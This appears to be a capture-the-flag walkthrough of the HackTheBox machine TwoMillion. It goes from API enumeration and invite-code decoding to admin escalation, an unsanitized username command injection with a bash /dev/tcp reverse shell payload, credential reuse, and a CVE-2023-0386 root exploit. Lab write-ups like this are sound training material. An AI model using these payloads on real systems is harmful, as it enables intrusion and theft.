RootInProgress

Walkthrough: HackTheBox - TwoMillion

Summary

TwoMillion is an easy linux machine on HackTheBox. The machine presents us with an older version of the HTB platform where we first have to find the invitation code, give ourselves admin rights to abuse unsanitized API parameters, which gives us a shell as www-data. A file on the server reveals a user and password which we can use to login via ssh. This user has internal mail, mentioning CVE-2023-0386 (OverlayFS) which can be exploited to gain a root shell.


Enumerating Ports

Port Scan

Using the following scan to get all open TCP ports:

ports=$(nmap -Pn -p- --min-rate=1000 -T4 $ip | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

This scan shows us that port 22 (SSH) and port 80 (HTTP) are open. Now, let's use $ports to do a script and version scan:

sudo nmap -sCV -p$ports $ip -oA nmap/twomillion-scv-port-scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see that it is a Linux machine running Ubuntu. There's also the hostname of 2million.htb, which we will add to the /etc/hosts file.

Running the same scan again shows us a bit more information for port 80:

80/tcp open  http    nginx
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As port 22 (SSH) is most likely not an attack vector, we will focus on port 80 (HTTP).

Port 80

Manual Enumeration

Let's take a look at the website: twomillionwebsite Looks like an old version of HTB.

There is a 2million.htb/invite and also 2million.htb/login

/invite

The source code metions /api/v1/invite/verify and inviteapi.min.js, which is obfuscated, but using for example unPacker reveals /api/v1/invite/how/to/generate. There is also a /register and /api/v1/user/register.

Directory and File Brute Forcing

Before digging deeper manually, lets start a quick directory and file bruteforce. For this, we will use multiple tools just to make sure we do not miss anything. -> DO NOT TRUST ONE TOOL!

Using Feroxbuster

feroxbuster -u http://2million.htb/
401      GET        0l        0w        0c http://2million.htb/api
405      GET        0l        0w        0c http://2million.htb/api/v1/user/login

Using FFUF

└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://2million.htb/FUZZ -fc 301
login                   [Status: 200, Size: 3704, Words: 1365, Lines: 81, Duration: 49ms]
register                [Status: 200, Size: 4527, Words: 1512, Lines: 95, Duration: 40ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 52ms]
api                     [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 41ms]
home                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 44ms]
404                     [Status: 200, Size: 1674, Words: 118, Lines: 46, Duration: 47ms]
invite                  [Status: 200, Size: 3859, Words: 1363, Lines: 97, Duration: 40ms]

Burp

/api/v1/user/login

Nothing special, switching to POST also shows nothing.

/api/v1/invite/how/to/generate

BINGO! When we send a POST request to /api/v1/invite/how/to/generate, we will in fact get a response! apirequest
Interesting. The data is ROT13 encoded. We can decode it with rot13.com.

Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr
In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate

Well, as you wish, well will send a POST request to /api/v1/invite/generate.

/api/v1/invite/generate

Sending a POST request, we receive a Base64 encoded string, most likely the invite code. api-generate

echo TkVLS1YtOFEzWFotRjFUR1ctMVg3WTM= | base64 -d 
NEKKV-8Q3XZ-F1TGW-1X7Y3 

That's the invite code! We can use it at /invite. Doing so will redirect us to /register with the invite code field already filled. register-with-code With that, the account is created an we can login. PHEW!

/home

Lets dig around for a bit:

/home/access

Clicking on Connection Pack sends a request to /api/v1/user/vpn/generate. Clicking on Regenerate sends a request to /api/v1/user/vpn/regenerate. I tried connecting, but it doesn't work.

Testing the new /api endpoint

Changing to /api gives us the information that the api version is '/v1'. Sending a request to /api/v1 reveals a lot more endpoints. loggedinapiendpoint

I played around with the /api/v1/user/ endpoints, tried changing the request method, but nothing worked. When changing the request method to PUT for /api/v1/admin/settings/update we receive a 200 OK with an invalid Content-Type. invalid-content-type Adding a Content-Type of Content-Type: application/json tells us Missing parameter: email. missing-parameter-email Adding the email, tells us to add is_admin, which gives admin rights when we send the request. set-admin-rights-for-own-user.

Breaking the API

As the admin VPN also doesn't help us, lets try to break the API input. Turns out, we can inject commands after our username. This can be done because the username parameter gets passed unsanitized.

{"username": "qnavry;whoami;"}

returns www-data

With this, we can setup a reverse shell with:

{"username": "qnavry;bash -c 'bash -i >& /dev/tcp/10.10.17.65/9002 0>&1';"}

reverseshell

Local Enumeration

The /etc/passwd file shows users root, www-data and admin. There is a .env file in /var/www/html revealing a DB name, DB Username and DB Password.

As there is a user admin, we try to login with this user and password via ssh which in fact is working. loginwithadmin

User Flag

With this, we can grab the user flag.

admin@2million:~$ cat user.txt
16ea831862582883107044c6b1ec263a

Privilege Escalation

Logging in with the admin user, we are informed that there is mail we have received. This can be confirmed under /var/mail/admin. admin-mail Searching for the OverlayFS exploit, we find CVE-2023-0386, grab it from github, copy it onto the machine and do the following:

admin@2million:/tmp/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc    

and in a seperate window we execute ./exp With that, we become root user and can grab the root flag.

Root Flag

cat root.txt 
e72ff0cb61dc371c7bc109ce731d3779

#api #command injection #ctf #cve #cve-2023-0386 #hackthebox #htb #twomillion #walkthrough